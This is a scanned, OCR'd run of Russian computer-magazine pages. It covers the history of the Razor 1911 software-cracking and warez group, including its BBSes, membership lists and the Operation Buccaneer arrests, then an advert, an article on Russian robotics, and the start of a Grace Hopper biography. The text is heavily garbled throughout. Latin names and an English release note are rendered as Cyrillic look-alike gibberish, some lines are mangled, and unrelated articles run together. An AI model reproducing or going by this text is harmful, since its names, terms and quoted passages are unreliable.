ргезепіз» стали выходить десятками. Борда- 
ми, куда выкладывался весь свежий варез, 
были ѴѴіІсІ Зісіе ВВ8 и Оатезбор. Их сисопы 
не состояли официально в Ваіог191 1 , но 
обе ББСки считались пристанищем извест- 
ной группы. В 1990 году Оосіог Мо открыл 
собственную борду ОідііаІ Ехргезз, и всю ак- 
тивность перенесли на нее. Имя группы сыг- 
рало свою роль - ВВЗ быстро стала популяр- 
ной среди норвежских кракеров и, по сути, 
первой бордой в Норвегии, где собиралась 
вся элита. 7осІасі потом открыл ТІіе СазІІе 
ВВЗ, через которую релизы Ваіог191 1 расп- 
ространялись в США. Эта станция также ста- 
ла популярной среди американских кракеров 
и получила статус элитной. 

В середине ноября 1990 года состоялась 
первая общая встреча мемберов Ваіог. Мес- 
том риаллайфовой тусовки стал город 



ОТРЫВОК из иро-Фпйпп от впгов юн 
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Ѵ еІІ, ѵѵііаі сап I зау. ТНіз Ііаз доі іо Ье опе оі іііе Ііагсіезі ііііез I 
Иаѵе еѵег гіррѳсі. ТНе сгаск ѵѵаз ігіѵіаі, Ьиі гірріпд ііііз дате 
іпѵоіѵѳсі ипсіѳгзіапсііпд апсі сосііпд иііІШѳз іог ВІіііагсІ’з МоРаО іііѳ 
раскѳг. МРО аз іі із Ьѳііѳг кпоѵѵп аз із а сотріѳх іііѳ 
раскадіпд/іпсіѳхіпд зузіѳт іИаі сотЬіпѳз опѳ-ѵѵау Назіі іаЫѳз іог 
іііе Іоокир, ѳпсгурііоп оп іііѳз апсІ іпсіѳхѳз, сизіот іипѳсі сотргѳз- 
зіоп сосіѳ... А ѵѳгііаЫѳ підііітаге. ТІіѳ дате огідіпаііу сате 
зііірресі ѵѵіііі а 600М ІМ5ТАЕІ.ЕХЕ іііе (геаііу ап іпзіаііег зіиЬ + діапі 
МРО іііе), апсі іНіз ѵѵаз іііе іііе іНаІ: ИасІ іо Ье гірресі арагі. МеесІІезз 
іо зау, I іЫпк I Ьаѵе сіопе іі... іі ѵѵаз а ЮТ оі ѵѵогк, апсі I іезіесі іЫз 
аз тисЬ аз Ьитапіу роззіЫе, зо I Ьоре уои аІІ еп]оу іі. Іі уои Ьаѵе 
апу ргоЫетз ѵѵііЬ іЬіз сгаск, ріеазе Іеі те кпоѵѵ ѵіа ІРС іп #гаіог... 
Гт пеѵег сіаіт іо Ье регіесі. =) ? 




Ааіезипб в Норвегии. Веб Вагон, Вид, 
МозТегаШ, Ісетап, Вех, Роіі Кпох, Оосіог Мо, 
Зес1ог9... Приехали все, кто составлял кос- 
тяк команды. В течение этого уикенда краке- 
ры пили пиво, знакомились, общались и 
дружно ломали софт. 

В начале 90-х амижная сцена была на пике 
своей популярности, существовало большое 
количество групп, выпускающих релизы но- 
вых игр. Конкуренция была такая, что порой 
на одну игрушку приходилось до 5-6 версий 
от разных команд. Этот период с декабря 
1990 по апрель 1991 года можно назвать ре- 
лизной лихорадкой сцены - одержимостью 
превзойти других по количеству выпущенных 
релизов переболели если не все, то больши- 
нство крак-групп на Амиге точно. Не обошла 
она стороной и Ваіог191 1 . Но в 1991 году 
релизить игры для Амиги стало сложнее. Из- 
за специфики записи и защиты софта прихо- 
дилось постоянно выпускать фиксы. А самой 
большой головной болью была несовмести- 
мость форматов МТЗС и РАЕ, что не позволя- 
ло играть американцам в европейские игры и 
наоборот. Интерес к амижной сцене у краке- 
ров из Ваіог191 1 к этому времени стал спа- 
дать. И летом 1991 года команда в полном 
составе перебралась на РС. 

А 1991- 1995: ОКНО В МИР РС 

Переходу на РС способствовало еще одно 
знаменательное событие. Оказалось, что по 
соседству с разоровцами жил блестящий 
РС-кракер Оагѵѵіп. Понятное дело, парни ре- 
шили его любыми средствами к себе присо- 
единить. Уговаривать долго не пришлось - 
Оагѵѵіп согласился вступить в ряды извест- 
ной команды, и вскоре после этого амижное 
подразделение было расформировано. За 
исключением Зіт, Огаке, Мигбоск и Собех, 
которые продолжили писать демы для Амиги 
и вскоре создали одну из лучших демок в 
истории Амиги - ѴОУАОЕ. 

Вместе с платформой изменения косну- 
лись и состава группы. Он был сильно сок- 
ращен, остались только действительно ком- 
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Известный 
музыкальный диск 
ѴѴЫзрегз от Ваіог сіето 
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петентные и продуктивные личности: Оосіог 
N 0 , Опух, 2осІасі, ЗесіогЭ, Оагѵѵіп, ВІаск 
Зругіі, ВесІ Вагоп и Іапдоііаг. Последние трое 
были сисопами стратегически важных борд и 
помогали продвигать релизы в мир. В этом 
составе ВаіогІЭ1 1 поставила выпуск игр на 
конвейер, и реакция пользователей РС не 
заставила себя долго ждать. Ведь фирмен- 
ные игры практически все шли с защитой от 
копирования, а благодаря кракерам ими 
можно было поделиться с друзьями. 

В піо’шках, которые мемберы добавляли 
к каждой взломанной игре, давалась инфор- 
мация о кракере (кем взломана, когда и ка- 
ким образом), об игре (графика, звук, субъ- 
ективный рейтинг, разработчик, издатель), 
публиковались телефоны варезных борд и 
писались разные сопроводительные тексты. 
Там кракеры могли поделиться новостями 
крак-сцены, рассказать о своих впечатлени- 
ях от игры или адресовать кому-нибудь пос- 
лание. Практически неизменной оставалась 
колонка «Сгееіі» - приветы лучшим коман- 
дам на РС сгаск зсепе. 

Важным этапом в развитии группы стал 
выход в интернет. Благодаря сети ВаіогІЭ1 1 
могла распространять свои релизы намного 
быстрее и эффективнее. Весь контент ВВЗ 
был перенесен на РТР, и теперь, чтобы ска- 
чать игрушку, необязательно было дозвани- 
ваться по межгороду. Ваіог191 1 также обза- 
велась своим сайтом, на котором освеща- 
лись реалии крак-сцены на РС. 

С середины 90-х игр на дискетах стано- 
вилось все меньше - в употребление вошли 
более практичные СО. И группе, всю жизнь 
работавшей с флоппиками и реализованны- 
ми на них протекторами, пришлось перест- 
раиваться. Впрочем, особых проблем с 
этим не было, и всего за несколько меся- 
цев Ва20г191 1 заняла ведущее положение 
на СО-Вот-сцене. Это в очередной раз до- 
казало, что в какой бы сфере ни работала 
группа, она всегда находилась в числе луч- 
ших в этой области. 

К середине 90-х Ваіог191 1 из небольшой 
ТИМЫ превратилась в крупнейшую в мире 
ѵѵагеі-группу, насчитывающую сотни мембе- 
ров по всему миру. Быть членом этой коман- 
ды считалось очень престижным, и кракеры 
присылали заявки пачками. Экзамен прохо- 
дили лишь единицы, но количество все рав- 
но непрерывно росло. Чтобы координиро- 
вать работу такого большого коллектива, па- 
ру раз его приходилось разделять. В первый 
раз это произошло в 1994 году, в результате 




чего появилась ІедепсІ, во второй - в 1995 
году, когда несколько мемберов сформиро- 
вали новую тиму Есіірзе. 

Ваіог191 1 собрала под своим крылом 
лучших сценеров: ВІаск ЗругИ (ведущий 
АМЗІ/ѴСА-художник сцены), ВапсІаІІ Падд 
(гениальный итальянский кракер), 
ВаюгВІабе (один из лучших курьеров), 
Магаисіег (талантливый организатор, коор- 
динировавший работу группы с 1 993 по 
1995 год), Мапіас (музыкант, который поз- 
же перешел в легендарную амижную группу 
ЗрасеЬаІІз) и многих других. Одни приходи- 
ли, другие уходили. Жизнь внутри кипела. 

И неудивительно, что очень скоро актив- 
ностью крупнейшей ѵѵагеі-группы заинте- 
ресовались федералы. 

.і 1995- 2004: ОПЕРПЦИЯ 
«ООССОИЕЕВ» 

В неприятности с полицией кракеры из 
Ваіог191 1 попадали и раньше. В начале 90- 
X были арестованы ВааІ, Іпзапе ТТМ, Оепе, 
ОеѵіІ, Виісііег, ВесІ ѴѴііагсІ, Оіппіе и Іагіс. Но 
их судебные дела практически не имели от- 
ношения к кракингу. Обычно они проходили 
по статьям, связанным с фрикингом, кар- 
дингом и компьютерным взломом. 

Начиная с 95 года, когда на рынке ПО по- 
явились программы, в разработку которых 
были вложены миллионы долларов, отноше- 
ние к кракерам со стороны спецслужб резко 
изменилось. 

Во второй половине 90-х Ва20г191 1 
представляла собой отлаженный синдикат 
поставок пиратского софта. Суплаеры, рабо- 
тавшие в крупных магазинах ПО или имев- 
шие связи в геймдевелоперских кругах, пре- 
доставляли копии игр за несколько дней до 
их официального релиза. Кракеры затем 
взламывали защиту. Взломанная игруха отп- 
равлялась в пиратский тираж и распростра- 
нялась по всему миру. Мимо Ваіог191 1 не 
проходила ни одна хитовая игра. Вот лишь 
несколько названий: Оиаке, ВесІ АІегІ, 
ТегтіпаІ Ѵеіосііу, ѴѴагсгаЙ II и III, ЗіагсгаЙ. 

Количество мемберов крак-дивизиона 
Разор в 1998 году составляло 54 человека: 
Аддго, Аидизі ѴѴезі, ВасІ Зесіог, Вапсіііо, 
ВеоѵѵиІІ, Вопе2, Випіег, ВгаЬ, Соскгоасб, 
Соіоззиз, Сурбег, Оагк ВеЬеІІіоп, Оа ЗаскаІ, 
Оатиз, Огидду, Егирі, РІоипсІег, СоІІіе, 
Содоііе, Нечего, НооІідап,][се, Ж, Вии. 
Іідбіуеаг, Мапііипіег, Махітііег, Мігатах, 
МУМ, М1п)а ЗрігИ, Рбагаоіі, Рбіііег, РіШиІІ, 
ТІіе Рипізбег, РгіпсіраІ, гОабкіІІ, Закіс, Зіг 
Агадогп, ЗІісег, Зресіге, Зрооп, Зип 
Оапсег, ТОМ, Тбе Патез, ТІіе Рер, ТИігсІ 
Зоп, Тіпу 30, Тоазі, ТоШ, Ѵатруге, Ѵііаз, 
ѴѴіІсІ СІііІсІ, ѴѴІЗІ 1 Вопе, ѴѴоІѵегіпе. Наряду с 
Оеѵіапсе это была крупнейшая ѵѵагег- груп- 
па в мире, и от нее во многом зависели 
поставки пиратских дисков во все страны, 
включая Россию. 




Официальный сайт Ва20г191 1 




Понятное дело, кракеры очень мешали 
финансовым прибылям фирм разработчи- 
ков, и те регулярно обращались за помощью 
к федералам. Однако прекратить деятель- 
ность группы было не так-то просто. 

Ваіог191 1 , несмотря на свои масштабы, 
очень хорошо шифровалась, и на сторону 
информация не просачивалась. 

В декабре 2001 года Департамент юсти- 
ции США совместно с таможенной службой 
провели совместную крупномасштабную опе- 
рацию под названием «Виссапеег». Основной 
ее целью являлось нахождение и арест клю- 
чевых фигур в так называемой ѵѵагеі-сцене. 
Помимо США, расследование коснулось 5 
европейских стран. Федералам удалось пой- 
мать около 40 представителей крупнейших 
ѵѵагеі-групп, таких как ОгіпкОгОіе, ВіЗСІЗО, 
МѴТН, РОР2. Не стала исключением и 
Ваіог191 1 . Под прессинг попали и ведущие 
группы-поставщики пиратского ПО: 
ВедиезіТоЗепсІ (ВТЗ), ѴѴеІоѵеѴѴагеі (ѴѴІѴѴ) и 
ВіЗС. ФБР также прикрыла многие сайты, со- 
держащие терабайтные архивы вареза. 

Федеральные службы были настроены 
решительно и собирались преподать краке- 
рам памятный урок. Поэтому тем, кому не 
посчастливилось попасться в руки ФБР, 
всыпали по полной. Среди них оказался и 
негласный лидер Ваіог191 1 , тридцатилет- 
ний Шон Майкл Брин ака РіШиІІ. Помимо 
многочисленных обвинений в нарушении ко- 
пирайтов и распространении пиратского 
ПО, ему предъявили обвинение в похище- 
нии оборудования у Сізсо на сумму 600 ты- 
сяч долларов через липовую компанию 
СотріеІ Іодізіісз. Расследование по этому 
делу длилось не один год, и в итоге Шону 
впаяли 4 года тюрьмы без возможности 
досрочного освобождения, а когда он вый- 
дет, ему придется погасить Сізсо матери- 
альный ущерб в полном размере. 

Надежды геймдевелоперов и федералов, 
возложенные на операцию «Виссапеег», не 
оправдались. Несмотря на многочисленные 
аресты и тюремные наказания, активность 
ѵѵагеі-сцены нисколько не угасла. Только те- 
перь шифроваться кракеры стали еще боль- 
ше, а доверять другим - еще меньше. 

Группа Ваіог191 1 по-прежнему является 
одной из ведущих ѵѵагеі-команд в мире. На- 
ряду с крак-дивизионом существует подраз- 
деление демомейкеров, которое практичес- 
ки не имеет отношение к пиратству и кра- 
кам, но выпускает замечательные демки, 
интры и музыкальные диски под знамени- 
тым лейблом . ЗС 
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ВекатРгезІо 

ЦИФРОВЫЕ ФОТОКАМЕРЫ ѵѵѵѵѵѵ.гѳкагп.ги 



Кекат РгезТо - это цифровая фотокамера, открывающая 
новые горизонты визуальной эпохи. Теперь делать сним- 
ки стало проще, а качество фотографий поднялось до неве- 
роятного уровня. Взгляни на мир глазами Кекат РгезТо. 
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И тдапенное будущее. Роботы оышпи из-под контропя. Чеповечество в панике. Каждый прокпинает тот день, котда проиеняп 
пиняющего, но живото Тузика на пающето, но неживото ПіЬо. При внове «робот» воображение рисует страшные картины, 
подсказанные писатепяии-фантастани и режиссерани фантастическик бпок-бастеров. 




ИСТОРИЯ и РЕОПИИ РОССИЙСКОЙ РОБОТОТЕХНИКИ 




П ействительно, что может 

быть страшнее взбесившего- 
ся робота-газонокосилки? 
Однако для простого россия- 
нина подобное развитие со- 
бытий представляется чем-то 
далеким. Ведь в его реаль- 
ности нет роботов: нет умных 
пылесосов, собачек, умею- 
щих вилять хвостом при виде хозяина. Пожа- 
луй, только робот-футболист сможет вызвать 
у нашего человека интерес: а вдруг эта же- 
лезяка сыграет лучше Булыкина? 

Подобная ситуация с робототехникой 
в нашей стране является следствием того, 
в каких условиях она развивалась. 



ПИОНЕРЫ СОВЕТСКОЙ 
РОБОТОТЕХНИКИ 

Началом роботостроения в тогда еще СССР 
можно считать первые послевоенные годы, 
когда военные осознали, насколько малоэф- 
фективна стрельба вручную по высокоскоро- 
стным целям из артиллерийских и зенитных 
установок. Тогда же правительство отдало 
приказ о создании автоматических систем 
управления военной техникой. С этой целью 
в 1951 году в МВТУ им. Баумана кандидатом 
технических наук доцентом В.Н. Прокофье- 



вым была создана кафедра силовых следя- 
щих приводов объектов вооружения, впосле- 
дствии несколько раз менявшая свое назва- 
ние и теперь известная как кафедра специ- 
альной робототехники и мехатроники. 

В 1971 году ее возглавил академик Е.П. 
Попов, под началом которого появилась но- 
вая научная школа - оплот робототехники в 
нашей стране. В то время единственным за- 
казчиком в этой области могло быть только 
государство, а оно, в свою очередь, ориенти- 
ровалось не на нужды отдельных людей, а на 
развитие оборонного комплекса и систем во- 
оружения. Неудивительно, что основным 
направлением работы для русских пионеров- 
роботостроителей стала разработка системы 
обслуживания термоядерного реактора и 
системы управления манипуляторами в 
экстремальных условиях. В 1983 году по за- 
казу КГБ началась разработка мобильного 
робота, работающего со взрывоопасными 
предметами, а чуть позже сотрудники кафед- 
ры построили малогабаритный робот-развед- 
чик, который обследовал радиоактивные 
объекты и проводил монтажно-демонтажные 
работы. В 90-е годы государственное финан- 
сирование резко сократилось, и ученые-ро- 
ботостроители стали работать напрямую с 
заказчиками из Министерства обороны. И 



основным проектом кафедры робототехники 
МГТУ им. Баумана стала утвержденная в 2000 
г. комплексная программа «Роботизация во- 
оружения и военной техники». 

Такое направление развития робототехни- 
ки в России привело к тому, что в настоящее 
время основные лаборатории роботострое- 
ния находятся в вузах и НИИ. Помимо МГТУ 
им. Баумана, стоит отметить ЦНИИ робото- 
техники и кибернетики, который был создан 
на базе Ленинградского политехнического 
института. Там проводились разработки мо- 
бильных роботов для ликвидации аварий на 
атомных электростанциях, робота-антитер- 
рориста, занимающегося поиском и обезв- 
реживанием взрывчатых веществ (использу- 
ется подразделением «Гром» Управления 
ФСБ Санкт-Петербурга), робота-разведчика 
для обнаружения и эвакуации источников 
радиоактивного излучения. Заказчиками это- 
го института также являются правитель- 
ственные и промышленные организации, 
так что в ближайшее время вряд ли следует 
ожидать появления на рынке пылесосов-ро- 
ботов или механических животных отечест- 
венного производства. 

Вероятно, единственной фирмой, создав- 
шей роботов-андроидов в России и имею- 
щей возможность поставить их производство 
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на поток, является предприятие «Новая эра». 
Подразделение робототехники появилось в 
ней только в 2001 году (основная сфера дея- 
тельности - бытовая техника), и за это время 
в него было вложено более миллиона долла- 
ров. Именно «Новая эра» создала «АрнЭо» - 
первого российского гуманоидного робота. 
Пока он не может принимать самостоятель- 
ных решений, им должен управлять опера- 
тор, сидящий за персональным компьюте- 
ром. Однако андроид умеет разговаривать - 
задавать вопросы и отвечать на них, ходить, 
ориентируясь в пространстве, осязать и ма- 
хать руками. Помимо АрнЭо, компания зани- 
мается разработкой программных роботов, 
участвующих в ВоЬосир - международном 
чемпионате по футболу среди роботов. Нес- 
мотря на отсутствие государственной подде- 
ржки и финансирования, компания не соби- 
рается останавливаться на достигнутом и до 
2013 года планирует выделить на дальней- 
шие разработки роботов порядка 10 милли- 
онов долларов. 

А ГДЕ ТЫ, государство? 

Какую бы форму ни имел робот, важнейшим 
его элементом является элемент, играющий 
роль цифрового мозга. Как правило, для 
каждого отдельного робота создается свой, 
что обходится производителям в копеечку. К 
тому же, при малейшем изменении функций 
робота мозг приходится перепрограммиро- 
вать. Питерская компания «Умник» занимает- 
ся разработкой цифрового мозга, который 
представляет собой программную (а в неда- 
леком будущем и аппаратную) реализацию 
алгоритмов распознавания информации в 
потоках данных. 

Первые эксперименты по распознаванию 
образов конструктор компании «Умник» Вик- 
тор Артюхов провел в 1 993 году, в том же 
году появились и первые строчки кода. Но 
окончательная версия, которая представле- 
на сейчас на рынке, появилась только в 
2001 году. Интересной особенностью дан- 





пиі ііридуічіа лоллсіьл іи, тіи риииіоі, 

снабженные цифровым мозгом, могут объе- 
диняться в группы и со временем соверше- 
нствовать свое коллективное поведение. Не- 
маловажно, что для этого не требуется 
централизованного блока управления. Ком- 
пания рассчитывала выставить свою коман- 
ду на ВоЬосир-2004, но из-за отсутствия 
средств на создание робота- гуманоида 
участвовать не смогла. К тому же, по мне- 
нию Артюхова, среди российских компаний 
мало кто может изготовить «тело» требуемо- 
го качества. Чтобы не проворонить и следу- 
ющий чемпионат, компания «Умник» налади- 
ла сотрудничество с лабораторией робото- 
техники МФТИ. Помимо этого, компания 
разрабатывает процессор, эффективность 
работы которого будет особенно высокой 
при использовании кода ЦМ. Параллельно 
ведутся работы по созданию ряда универ- 
сальных баз знаний, позволяющих обучать 
системы на естественном человеческом 
языке. А в перспективе - исследование но- 
вой науки под названием робопсихология. 

Научные институты и частные предприя- 
тия вряд ли могли бы достичь успеха, если 
бы не отдельные личности, прилагающие 
все силы для продвижения науки вперед. В 
российской робототехнике 
такими людьми являются 
А. В. Ленский - заведующий 
лабораторией Института ме- 
ханики в МГУ, организатор 
фестиваля «Мобильные ро- 
боты», Лев Станкевич - про- 
фессор кафедры системного 
анализа и управления Санкт- 
Петербургского политехни- 
ческого университета, один 
из ведущих специалистов по 
роботам в Санкт-Петербурге, 



создатель и тренер российской футбольной 
команды на ВоЬосир. Нельзя не упомянуть 
академика Е.А. Девянина (1931-2002), кото- 
рый с начала семидесятых годов занимался 
мехатроникой, разрабатывая роботов с эле- 
ментами искусственного интеллекта. Поми- 
мо научных работ, он занимался преподава- 
тельской деятельностью, вел в университете 
курсы «Теория автономных инерциальных 
навигационных систем», «Мобильные роботы 
- мехатронные системы» и подготовил 20 
кандидатов физико-математических наук. 

Подводя итог, скажу, что наше государ- 
ство не проявляет никакого интереса к робо- 
тотехнике. А если и проявляет, то это обыч- 
но или военная, или промышленная сфера 
роботостроения. Никакой четкой программы 
развития и поддержки этой несомненно важ- 
ной научной ветви не существует. А частные 
компании не готовы вкладывать большие 
средства в создание, к примеру, шагающих 
роботов в связи с невозможностью их прак- 
тического применения. 

.і выставки и КОНФЕРЕНЦИИ 

Если для россиян робот-сиделка, который 
будет ухаживать за ним в старости, - это 
что-то из разряда научной фантастики, в 
другой стране подобное не вызывает 
удивления и скепсиса. Конечно же, это 
Япония, в которой роботостроение наибо- 
лее развито. До недавнего времени в 
Стране восходящего солнца центральное 
место занимали роботы промышленного и 
медицинского назначения. Однако в пос- 
леднее время вектор изменился и теперь 
первое место заняли роботы-помощники 
человека. Быстрому развитию этой облас- 
ти способствует политика японского пра- 
вительства: из бюджета страны за 2003 
год 16 миллионов долларов выделили на 
оказание государственной поддержки раз- 
работчикам роботов-помощников челове- 
ка. В течение ближайших пяти лет эта 
сумма увеличится до 100 миллионов. 
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ІСВА). Последний раз в Европе подобное ме- 
роприятие проходило в 1 998 году. По сло- 
вам учредителей конференции, с тех пор в 
мире робототехники многое изменилось. Ро- 
боты становятся все более неотъемлемой 
частью нашей жизни, поэтому заявленная 
тема конференции «Роботы уподобляются 
людям» касается, в первую очередь, пробле- 
мы взаимодействия робота и человека. 

В России в течение последних 1 5 лет про- 
водится конференция «Экстремальная робо- 
тотехника». Название говорит само за себя: 
это достаточно узкоспециализированное ме- 
роприятие, в котором обсуждаются пробле- 
мы создания роботов для работы в тяжелых 
условиях. Например, на космических станци- 
ях. Начиная с 1998 года под эгидой многих 
авторитетных организаций, включая Акаде- 
мию наук, в Московском институте механики 
проводится ежегодный молодежный фести- 
валь «Мобильные роботы». Когда-то он заду- 
мывался как зрелищное соревнование сту- 
денческих команд, демонстрирующих техни- 
ческие возможности сконструированных ими 
роботов, а также как способ привлечь моло- 
дежь к научным исследованиям. 

Подобные соревнования проходят и в Ев- 
ропе. Например, наши студенческие коман- 
ды показывали неплохие результаты на 

чемпионатах мира 
по мобильным ро- 
ботам во Франции. 
А команда МЭИ да- 
же стала чемпио- 
ном мира! 



Соревнования в рамках фестиваля до- 
вольно специфичны. В основном, это ре- 
шение задач навигации: над площадкой 
подвешено некоторое количество маяков, а 
на площадке нанесена полоса-трасса, об- 
разованная отрезками прямых и дугами 
окружностей. Роботы стартуют с исходной 
позиции и должны выполнить предписан- 
ную последовательность действий за наи- 
меньшее время. 

Зрелищным это мероприятие будет, ско- 
рее, для тех, кто понимает, что и как. Но воз- 
можно, организаторы уже к следующему, 
мартовскому, фестивалю придумают, как сде- 
лать соревнования более привлекательными 
для зрителей, далеких от робототехники. 

Соревнования могут проводить как «іизі 
Іог ^ип», так и специально для стимулирова- 
ния решения каких-то научных или практи- 
ческих задач (как, например, соревнования 
роботов-спасателей). Но даже «іизі ^ог ^ип» - 
не только способ развлечься или похвастать- 
ся своим шедевром. Те инженерные реше- 
ния, которые были найдены при создании 
робота-игрушки, скорее всего, найдут при- 
менение и в серьезных конструкциях. 

Конференции и соревнования - это мероп- 
риятия, в которых сотрудничают и конкуриру- 
ют научные центры, лаборатории и различные 
фирмы. Но ведь существует достаточно боль- 
шое количество ребят, заинтересованных в 
так называемом домашнем роботостроении. 

На западе люди, увлекающиеся созданием 
роботов, объединяются в сообщества по ин- 
тересам и проводят регулярные встречи, ко- 
торые могут носить как формальный, так и 
неформальный характер. Так, в одном из 
старейших подобных сообществ ОаІІаз 
РегзопаІ ВоЬоіісз Сгоир проводятся ежеме- 
сячные встречи, на которые собираются 
мемберы и просто любопытствующие. Каж- 
дая такая встреча протоколируется, и если 
кто-то пропустил собрание, потом он может 
узнать в интернете, о чем шла речь. Менее 
формальными являются так называемые ве- 
чера строителей роботов, где основным за- 
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Согласно исследо- 
ванию, проведенному 
Европейской эконо- 
мической комиссией 
ООН (НМЕСЕ), к 
2005 году в Японии будет около 352 тысяч 
роботов, в Европейском Союзе - 321 тыся- 
ча, в Северной Америке - 131 тысяча. И с 
2002 года количество роботов, выполняющих 
работу по дому, вырастет в 7 раз. Большая 
часть из них - роботы-пылесосы. К 2007 году 
в мире будет уже 4,1 миллиона домашних 
роботов. На рынке появятся роботы-мойщи- 
ки окон, чистильщики бассейнов и роботы 
для развлечений. 

Раз есть достижения - надо их демон- 
стрировать. И поскольку японцы - самая 
продвинутая страна в плане роботостроения, 
самая крупная в мире выставка роботов про- 
водится в Японии и называется ВоЬосІех 
(ВоЬоі Огеат Ехрозіііоп). Состав участников 
каждый год меняется, а представляемые ро- 
боты становятся все более совершенными. 
Так, на ВоЬосІех-2004 одним из самых инте- 
ресных экспонатов стал ходячий робот ком- 
пании ТозбіЬа, играющий на трубе. Конечно 
же, свои конференции и выставки проводят- 
ся и в других странах. В Сиэттле, например, 
проходит ежегодная конференция ІСАВ 
(Іпіегпаііопаі Сопіегепсе оп АбѵапсесІ 
ВоЬоіісз), посвященная проблемам совре- 
менной робототехники. В 2005 году в Барсе- 
лоне пройдет Международная конференция 
по робототехнике и автоматизации (ІЕЕЕ 
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нятием является не обсуждение новостей и 
решение теоретических вопросов, а непосре- 
дственное моделирование роботов. Каждый 
может выбрать себе занятие по душе - от 
участия в минисоревнованиях роботов, где 
можно представить свое творение людям и 
испытать его в деле, до работы над програм- 
мным обеспечением. Потом обычно совмест- 
ными усилиями организуется ужин, что спо- 
собствует дружеской атмосфере встречи. 

До недавнего времени в России аналогич- 
ное массовое движение практически отсут- 
ствовало, если не считать, конечно, детского 
технического творчества. Роботостроение 
было уделом специалистов и редких талант- 
ливых одиночек. Обычно этим занимались 
электронщики: компьютеров как таковых не 
было, а потому электронная часть конструк- 
ции была довольно сложной. С появлением 
интегральных схем с электроникой стало 
проще. Центр сложности переместился в 
сторону микрокомпьютера: программирова- 
ние в машинных кодах и прочие ужасы. Да 
и проблемы стали другие. Если раньше был 
большой напряг с ресурсами, сейчас с этим 
попроще, но теперь проблема в деньгах на 
их приобретение. 

Сейчас любой робот - это, как минимум, 
механика и электроника, а по-хорошему - 
еще и программа. Чтобы самостоятельно 
создать робота, нужно разбираться во всех 
троих составляющих. Хотя кое-где при нали- 
чии смекалки можно выкрутиться меньшими 
усилиями. Небезызвестный Кулибин, будучи 
выдающимся механиком, строил роботов бе- 
зо всяких компьютеров. Толковый програм- 
мист может написать хитрую управляющую 
программу, и за счет этого понадобится ми- 
нимум датчиков и прочей электроники. 



Если ты пока еще не второй Кулибин, тог- 
да обрати внимание на популярных во всем 
мире Лего-роботов. Конструктор - вещь 
очень удобная. Не надо думать о том, где 
взять материалы и комплектующие, как их 
обрабатывать и пр. Можно сконцентриро- 
ваться непосредственно на создании робота 
и написании алгоритмов его работы. В мире 
существуют сотни клубов Лего-строителей, а 
в интернете - еще больше сайтов, посвя- 
щенных созданию ІЕСІО- роботов. 

Классическим набором является ІЕСО 
Міпсізіогтз, о котором «Хакер» уже как-то 
рассказывал. Каких только роботов из 
Міпбзіогтз не строят! Шагающие, бегаю- 
щие, прыгающие, двуногие и шестиногие, 
миниатюрные и огромные... Существует да- 
же робот, собирающий кубик Рубика за 40 
операций. Для поклонников конструкторов 
ІЕСІО проводятся свои соревнования, вклю- 
чая бои ІЕОО-роботов. Для знакомства с ро- 
бототехникой Міпбзіогтз всем хорош, но у 
нас он не распространен из-за своей высо- 
кой стоимости. Более популярны в России 
ІЕСІО Оасіа - наборы, специально предназ- 
наченные для образовательных целей. Они 
очень похожи на Міпбзіогтз, только имеют 
другое программное и методическое обес- 
печение. Такие наборы есть не только в шко- 
лах, но и в центрах внешкольного образова- 
ния, детских центрах технического творчест- 
ва, технических кружках и т.п. Так что если 
ты еще достаточно молод, стоит просто уз- 
нать, где находится ближайший техкружок. 

Свои успехи на ниве роботостроения 
можно продемонстрировать на состязаниях 
роботов, которые ежегодно проводятся Мос- 
ковским центром информационных техноло- 
гий и учебного оборудования. Победители 







ЭТИХ соревновании принимают участие в 
международных. Команда московской шко- 
лы №1012, победившая в прошлом году, 
уже побывала в Корее, а команда «Интеграл» 
будет представлять Россию на соревновани- 
ях среди стран Азиатско-Тихоокеанского ре- 
гиона в ноябре этого года в Сингапуре. 

.ІЯБВРОБОТЕХНИКИПОШЕП- 
ПУСТЬИЕНЯНРУЧПТ 

Если говорить о специальности, строить ро- 
ботов учат в разных местах. Разнообразие 
мест видно по списку команд-участников 
фестиваля «Мобильные роботы». 

Фундаментальную подготовку в этом деле 
дают МГУ, Институт им. Баумана, МИФИ, 

МФТИ; подобное направление есть практи- 
чески в любом политехе (известен этим, нап- 
ример, питерский). Есть места, где о роботах 
говорят немного, но аналогичные технологии 
используют вовсю - в МАИ, например. 

Кроме того, в той или иной степени робо- 
тотехнике учат в местах преподавания авто- 
матизации производственных процессов. Тут 
флагманом является, пожалуй, СТАН КИН. В 
каждом техническом вузе есть факультет ав- 
томатизации чего-нибудь или, по крайней 
мере, кафедра. В последние 20 лет самым 
сложным местом в роботах была электрони- 
ка, поэтому робототехника бурно развива- 
лась там, где с электроникой все в порядке. 

Например, в МИРЭА. 

А вообще, стоит посмотреть, в каких инсти- 
тутах поблизости есть специальность 652000. 

Называется она «Мехатроника, роботы и ро- 
бототехнические системы». Это самое оно! 

В интернете полно мест, где можно поче- 
рпнуть всю необходимую информацию. Ин- 
тересным интернет-ресурсом по созданию 
роботов в домашних условиях является сайт 
«Железный Феликс» (Ііир://ігоп.[іге.и$і.ги). 

А самый крупный проект рунета на тему ро- 
ботов - ВоЬоСІиЬ (шѵѵ.гоЬосІиЬ.ги). Там можно 
найти описания различных моделей мобиль- 
ных роботов, обсудить их в форуме 
с братьями по разуму, купить детали в раз- 
деле «Барахолка», просмотреть календарь 
соревнований и узнать о последних проектах 
в мире робототехники. В англоязычном ин- 
тернете столько сайтов на тему робототехни- 
ки, что обо всех рассказать нет никакой воз- 
можности. Но ссылки на некоторые из них 
ты найдешь в блок- врезке. 

ІІІІІІІІІІІІІІІІІІІІІІІІІІІІІІІІІІ 




93 














ТО общего иежну морскиии свинкаии и женщинаии-програииистаии? Первые не ииеют отношения ни к иорю, ни к свиньям, а 
вторые - ни к женщинам, ни к программистам». Ты наверняка спышап этот анекдот. Но на самом депе развитию языков 
программирования мы во многом обязаны именно женщине-программисту. В свое время Грейс Мюррей Хоппер сделала огромный 
вклад в компьютерную историю. О том, что это был за вклад и какой была эта женщина, я тебе сейчас расскажу. 



ИСТОРИЯ СОИОЙ ИЗВЕСТНОЙ ЖЕНЩИНЫ-ПРОГРОИИИСТКИ 



А 



.ІДОЧЬСТРРХОВОГОРГЕНТР 

9 декабря 1906 года в одном из 
районов Нью-Йорка появилась 
на свет очаровательная девоч- 
ка. Первая в семье. И даже 
когда родились еще два ребен- 
ка, родители все равно любили 
больше старшую - Грейс. Отец, 
Уолтер Флетчер Мюррей, ра- 
ботал страховым агентом. Дела его шли хоро- 
шо, у него была собственная контора и ста- 
бильный доход. Семья не голодала, и Грейс 
